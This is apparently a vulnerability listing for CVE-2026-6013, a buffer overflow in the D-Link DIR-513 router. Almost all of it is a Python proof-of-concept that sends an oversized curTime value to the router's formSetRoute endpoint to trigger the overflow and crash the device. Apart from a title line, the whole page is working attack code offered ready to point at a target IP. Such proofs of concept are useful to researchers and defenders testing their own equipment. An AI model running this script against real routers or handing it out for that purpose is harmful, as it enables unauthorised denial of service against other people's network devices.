CVE-2026-6013 D-Link DIR-513 缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2026-6013 Buffer Overflow in D-Link DIR-513 Sends a malicious payload to the curTime parameter. """ url = f"http://{target_ip}/goform/formSetRoute" # The buffer size is limited, sending a long string to trigger overflow # Adjust length based on specific buffer analysis (e.g., 300+ bytes) payload = { "curTime": "A" * 500 } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=payload, timeout=5) print(f"[+] Server responded with status code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("[!] Potential trigger of vulnerability. Check device status.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] The device might have crashed (DoS).") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)